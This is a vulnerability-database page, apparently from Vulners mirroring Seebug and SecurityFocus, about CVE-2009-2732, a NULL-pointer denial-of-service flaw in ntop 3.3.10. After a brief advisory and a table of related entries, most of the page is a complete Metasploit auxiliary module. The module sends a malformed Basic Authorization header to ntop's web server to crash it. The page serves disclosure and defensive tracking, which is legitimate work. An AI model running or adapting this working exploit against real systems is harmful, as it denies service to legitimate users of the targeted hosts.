Lucene search
K

ntop 3.3.10 HTTP Basic Authentication NULL Pointer Dereference Denial Of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

The ntop tool is vulnerable to a denial-of-service attack through crafted HTTP Basic Authentication credentials

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2732
18 Aug 200900:00
circl
CVE
CVE-2009-2732
20 Aug 200922:00
cve
Cvelist
CVE-2009-2732
20 Aug 200922:00
cvelist
Exploit DB
ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service
18 Aug 200900:00
exploitdb
EUVD
EUVD-2009-2723
7 Oct 202500:30
euvd
exploitpack
ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service
18 Aug 200900:00
exploitpack
NVD
CVE-2009-2732
21 Aug 200911:02
nvd
OpenVAS
ntop HTTP Basic Authentication NULL Pointer Dereference Denial Of Service Vulnerability
23 Aug 200900:00
openvas
Packet Storm
ntop 3.3.10 Denial Of Service
18 Aug 200900:00
packetstorm
Prion
Null pointer dereference
21 Aug 200911:02
prion
Rows per page

                                                source: http://www.securityfocus.com/bid/36074/info

The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ntop 3.3.10; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'NTOP <= 3.3.10 Basic Authorization DoS',
                        'Description'    => %q{
                                A denial of service condition can be reached by specifying an invalid value for the Authorization
                                HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
                                a colon. When no colon exists in the decoded string the username is left at its default NULL value.
                                During the authentication process the length of the username is computed via strlen(), which results
                                in a segmentation fault when it processes the null value.
                        },
                        'Author'         => 'Brad Antoniewicz <[email protected]>',
                        'License'        => MSF_LICENSE,
                        'Version'        => '1',
                        'References'     => [
                                [ 'BID', 'None'],
                                [ 'CVE', 'CVE-2009-2732']

                        ],
                        'DisclosureDate' => 'Aug 08 2009'))
                        register_options( [Opt::RPORT(3000),], self.class )

        end

        def run
                begin
                        o = {
                                'uri' => '/configNtop.html',
                                'headers' => {
                                        'Authorization' => 'Basic A=='
                                }
                        }

                        c = connect(o)
                        c.send_request(c.request_raw(o))

                        print_status("Request sent to #{rhost}:#{rport}")
                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                        print_status("Couldn't connect to #{rhost}:#{rport}")
                rescue ::Timeout::Error, ::Errno::EPIPE
                end
        end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation